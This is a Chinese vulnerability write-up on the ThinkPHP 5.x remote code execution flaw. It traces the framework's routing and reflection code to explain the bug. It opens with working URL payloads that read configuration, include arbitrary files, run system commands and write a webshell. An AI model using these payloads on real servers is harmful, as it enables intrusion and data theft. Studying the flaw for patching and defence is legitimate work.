Thinkphp5.x RCE

漏洞分析

环境:

thinkphp5.0.20+php7.3.4+apache+phpstorm

Payload:

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

在thinkphp5.0.20中,thinkphp/library/think/App.php中有一个invokeFunction方法

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}

他在里面调用了$reflect->invokeArgs($args),ReflectionMethod::invokeArgs是带参数执行如果说这里传进来的参数没有经过过滤,是否可能造成远程命令执行?

我这里使用5.0.20来分析,首先在入口文件打个断点,打一下payload进行分析

image-20220531161413073

跟进这里的run方法

image-20220531161459171

判断是否存在request实例,没有就实例化一个request对象,然后初始化应用,并返回配置信息,判断入口文件是否绑定了模块或者控制器,继续到$request->filter($config['default_filter']);设置或获取当前的过滤规则,然后就是一些加载系统语言包的内容,关系不大

image-20220531161824853

继续往后,他对调度信息进行了判断,并且进行了路由检测,跟进routeCheck方法

public static function routeCheck($request, array $config)
{
    $path   = $request->path();
    $depr   = $config['pathinfo_depr'];
    $result = false;

    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            is_array($rules) && Route::rules($rules);
        } else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    is_array($rules) && Route::import($rules);
                }
            }
        }

        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must && false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }
    }

    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    if (false === $result) {
        $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
    }

    return $result;
}

第一行是通过$path = $request->path();获取path,继续跟进这个path方法

public function path()
{
    if (is_null($this->path)) {
        $suffix   = Config::get('url_html_suffix');
        $pathinfo = $this->pathinfo();
        if (false === $suffix) {
            // 禁止伪静态访问
            $this->path = $pathinfo;
        } elseif ($suffix) {
            // 去除正常的URL后缀
            $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
        } else {
            // 允许任何后缀访问
            $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
        }
    }
    return $this->path;
}

又在path()里面获取了pathinfo信息,pathinfo()方法如下

public function pathinfo()
{
    if (is_null($this->pathinfo)) {
        if (isset($_GET[Config::get('var_pathinfo')])) {
            // 判断URL里面是否有兼容模式参数
            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
            unset($_GET[Config::get('var_pathinfo')]);
        } elseif (IS_CLI) {
            // CLI模式下 index.php module/controller/action/params/...
            $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
        }

        // 分析PATHINFO信息
        if (!isset($_SERVER['PATH_INFO'])) {
            foreach (Config::get('pathinfo_fetch') as $type) {
                if (!empty($_SERVER[$type])) {
                    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                    substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                    break;
                }
            }
        }
        $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
    }
    return $this->pathinfo;
}

这里的话是判断是否用兼容模式的参数,这个洞本就是在没有开启强制路由的情况下通过兼容模式调用任意控制器的操作导致的远程命令执行,所以打入的payload肯定是有兼容模式的参数。他会自动分析pathinfo的信息,最终返回pathinfo,并且在path中返回处理后的结果。继续看routeCheck方法

image-20220531162852117

在上图红框处检测是否是强制路由模式,继续往下走,到

if (false === $result) {
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

在该处的Route::parseUrl解析模块的url地址

public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

    if (isset(self::$bind['module'])) {
        $bind = str_replace('/', $depr, self::$bind['module']);
        // 如果有模块/控制器绑定
        $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
    }
    $url              = str_replace($depr, '|', $url);
    list($path, $var) = self::parseUrlPath($url);
    $route            = [null, null, null];
    if (isset($path)) {
        // 解析模块
        $module = Config::get('app_multi_module') ? array_shift($path) : null;
        if ($autoSearch) {
            // 自动搜索控制器
            $dir    = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
            $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
            $item   = [];
            $find   = false;
            foreach ($path as $val) {
                $item[] = $val;
                $file   = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
                $file   = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
                if (is_file($file)) {
                    $find = true;
                    break;
                } else {
                    $dir .= DS . Loader::parseName($val);
                }
            }
            if ($find) {
                $controller = implode('.', $item);
                $path       = array_slice($path, count($item));
            } else {
                $controller = array_shift($path);
            }
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }
        // 解析操作
        $action = !empty($path) ? array_shift($path) : null;
        // 解析额外参数
        self::parseUrlParams(empty($path) ? '' : implode('|', $path));
        // 封装路由
        $route = [$module, $controller, $action];
        // 检查地址是否被定义过路由
        $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
        $name2 = '';
        if (empty($module) || isset($bind) && $module == $bind) {
            $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
        }

        if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
            throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
        }
    }
    return ['type' => 'module', 'module' => $route];
}

先通过list($path, $var) = self::parseUrlPath($url);把模块,控制器,操作等内容放到path这个数组,然后通过array_shift把前面的元素移出数组,获取模块,控制器,操作等信息。继续往下走,就是记录一些调度信息,路由和请求信息,缓存检查,直到139行的exec方法

image-20220531163748295
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        case 'redirect': // 重定向跳转
            $data = Response::create($dispatch['url'], 'redirect')
                ->code($dispatch['status']);
            break;
        case 'module': // 模块/控制器/操作
            $data = self::module(
                $dispatch['module'],
                $config,
                isset($dispatch['convert']) ? $dispatch['convert'] : null
            );
            break;
        case 'controller': // 执行控制器操作
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = Loader::action(
                $dispatch['controller'],
                $vars,
                $config['url_controller_layer'],
                $config['controller_suffix']
            );
            break;
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        case 'function': // 闭包
            $data = self::invokeFunction($dispatch['function']);
            break;
        case 'response': // Response 实例
            $data = $dispatch['response'];
            break;
        default:
            throw new \InvalidArgumentException('dispatch type not support');
    }

    return $data;
}

把之前的routeCheck返回的结果传入到exec方法中,并且type键对应的值是model,所以在exec方法中进入如下判断

case 'module': // 模块/控制器/操作
    $data = self::module(
        $dispatch['module'],
        $config,
        isset($dispatch['convert']) ? $dispatch['convert'] : null
    );
    break;

这里调用了自身的module方法,跟进,这里代码比较长,我分块来说吧

if (is_string($result)) {
    $result = explode('/', $result);
}

$request = Request::instance();

判断传入的第一个参数是否是字符串,如果是用/分割,并且实例化了一个request对象。由于前面传的是已经分割好的一个数组,就是

image-20220531164213144
if ($config['app_multi_module']) {
    // 多模块部署
    $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
    $bind      = Route::getBind('module');
    $available = false;

    if ($bind) {
        // 绑定模块
        list($bindModule) = explode('/', $bind);

        if (empty($result[0])) {
            $module    = $bindModule;
            $available = true;
        } elseif ($module == $bindModule) {
            $available = true;
        }
    } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
        $available = true;
    }

    // 模块初始化
    if ($module && $available) {
        // 初始化模块
        $request->module($module);
        $config = self::init($module);

        // 模块请求缓存检查
        $request->cache(
            $config['request_cache'],
            $config['request_cache_expire'],
            $config['request_cache_except']
        );
    } else {
        throw new HttpException(404, 'module not exists:' . $module);
    }
} else {
    // 单一模块部署
    $module = '';
    $request->module($module);
}

接下来是判断当前是否多模块部署,拿到模块名,并且读取绑定的路由,这里没有绑定,直接到了初始化模块部分,然后就是一些设置默认过滤机制,获取控制器名和操作名的操作,都是通过去获取传进来的那个数组里的内容,直接看后面的内容,重点就在后面

// 获取当前操作名
$action = $actionName . $config['action_suffix'];

$vars = [];
if (is_callable([$instance, $action])) {
    // 执行操作方法
    $call = [$instance, $action];
    // 严格获取当前操作方法名
    $reflect    = new \ReflectionMethod($instance, $action);
    $methodName = $reflect->getName();
    $suffix     = $config['action_suffix'];
    $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
    $request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
    // 空操作
    $call = [$instance, '_empty'];
    $vars = [$actionName];
} else {
    // 操作不存在
    throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);

调用了is_callable方法对instanceinstance对应的对象的action方法进行一个判断,判断参数是否为合法的可调用结构,然后就是new了一个ReflectionMethod对象,并且获取了action和method的名字,最终是走到了return self::invokeMethod($call, $vars);方法,继续跟进

public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

最终就是获取了方法的名字,以及参数,通过invokeArgs方法去调用

image-20220531165114279
image-20220531165217105

参考

https://blog.csdn.net/weixin_43263451/article/details/123878313